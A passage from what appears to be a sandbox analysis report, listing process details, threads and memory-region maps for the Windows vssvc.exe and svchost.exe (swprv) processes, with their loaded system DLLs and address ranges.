"vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x46d80000" os_pid = "0xb5c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0xb44" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:001093eb" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 367 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 368 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 369 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 370 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 371 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 372 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 373 start_va = 0xd0000 end_va = 0xe0fff entry_point = 0xd0000 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 374 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 375 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 376 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 377 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 378 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 379 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 380 start_va = 0x350000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 381 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 382 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 383 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 384 start_va = 0x7d0000 end_va = 0x88ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 385 start_va = 0x890000 end_va = 0xc82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 386 start_va = 0xd80000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 387 start_va = 0xe10000 end_va = 0xe8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 388 start_va = 0xf20000 end_va = 0xf9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 389 start_va = 0x1030000 end_va = 0x10affff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 390 start_va = 0x10b0000 end_va = 0x137efff entry_point = 0x10b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 391 start_va = 0x1390000 end_va = 0x140ffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 392 start_va = 0x14c0000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 393 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 394 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 395 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 396 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 397 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 398 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 399 start_va = 0xff900000 end_va = 0xffa8afff entry_point = 0xff900000 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 400 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 401 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 402 start_va = 0x7fef8e60000 end_va = 0x7fef8e73fff entry_point = 0x7fef8e60000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 403 start_va = 0x7fef8e80000 end_va = 0x7fef8e88fff entry_point = 0x7fef8e80000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 404 start_va = 0x7fef8e90000 end_va = 0x7fef8e99fff entry_point = 0x7fef8e90000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 405 start_va = 0x7fef8ea0000 end_va = 0x7fef8eb3fff entry_point = 0x7fef8ea0000 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 406 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 407 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 408 start_va = 0x7fefb7c0000 end_va = 0x7fefb7d3fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 409 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 410 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 411 start_va = 0x7fefb810000 end_va = 0x7fefb825fff entry_point = 0x7fefb810000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 412 start_va = 0x7fefb850000 end_va = 0x7fefb868fff entry_point = 0x7fefb850000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 413 start_va = 0x7fefb870000 end_va = 0x7fefb8bffff entry_point = 0x7fefb870000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 414 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 415 start_va = 0x7fefc0a0000 end_va = 0x7fefc0bcfff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 416 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 417 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 418 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 419 start_va = 0x7fefd0a0000 end_va = 0x7fefd0cefff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 420 start_va = 0x7fefd150000 end_va = 0x7fefd163fff entry_point = 0x7fefd150000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 421 start_va = 0x7fefd3b0000 end_va = 0x7fefd3d2fff entry_point = 0x7fefd3b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 422 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 423 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 424 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 425 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 426 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 427 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 428 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 429 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 430 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 431 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 432 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 433 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 434 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 435 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 436 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 437 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 438 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 439 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 440 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 441 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 442 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 443 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 444 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 445 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 446 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 447 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 448 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 449 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 450 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 451 start_va = 0x7fef8dc0000 end_va = 0x7fef8dcbfff entry_point = 0x7fef8dc0000 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Region: id = 452 start_va = 0x7fef8dd0000 end_va = 0x7fef8e54fff entry_point = 0x7fef8dd0000 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Thread: id = 18 os_tid = 0xb78 Thread: id = 19 os_tid = 0xb74 Thread: id = 20 os_tid = 0xb70 Thread: id = 21 os_tid = 0xb6c Thread: id = 22 os_tid = 0xb68 Thread: id = 23 os_tid = 0xb64 Thread: id = 24 os_tid = 0xb60 Thread: id = 25 os_tid = 0xb8c Thread: id = 36 os_tid = 0x740 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x73cb5000" os_pid = "0xb84" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0xb5c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0010996d" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 453 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 454 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 455 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 456 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 457 start_va = 0x50000 end_va = 0x51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 458 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 459 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 460 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 461 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 462 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 463 start_va = 0x250000 end_va = 0x2b6fff entry_point = 0x250000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 464 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 465 start_va = 0x3c0000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 466 start_va = 0x4a0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 467 start_va = 0x4f0000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 468 start_va = 0x570000 end_va = 0x6f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 469 start_va = 0x730000 end_va = 0x7affff entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 470 start_va = 0x7b0000 end_va = 0xa7efff entry_point = 0x7b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 471 start_va = 0xa80000 end_va = 0xc00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 472 start_va = 0xc10000 end_va = 0xccffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 473 start_va = 0xcd0000 end_va = 0x10c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 474 start_va = 0x1110000 end_va = 0x118ffff entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 475 start_va = 0x1270000 end_va = 0x12effff entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 476 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 477 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 478 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 479 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 480 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 481 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 482 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 483 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 484 start_va = 0x7fef8c90000 end_va = 0x7fef8d11fff entry_point = 0x7fef8c90000 region_type = mapped_file name = "swprv.dll" filename = "\\Windows\\System32\\swprv.dll" (normalized: "c:\\windows\\system32\\swprv.dll") Region: id = 485 start_va = 0x7fef8e60000 end_va = 0x7fef8e73fff entry_point = 0x7fef8e60000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 486 start_va = 0x7fef8e80000 end_va = 0x7fef8e88fff entry_point = 0x7fef8e80000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 487 start_va = 0x7fef8e90000 end_va = 0x7fef8e99fff entry_point = 0x7fef8e90000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 488 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 489 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 490 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 491 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 492 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 493 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 494 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 495 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 496 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 497 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 498 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 499 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 500 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 501 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 502 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 503 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 504 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 505 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 506 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 507 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = 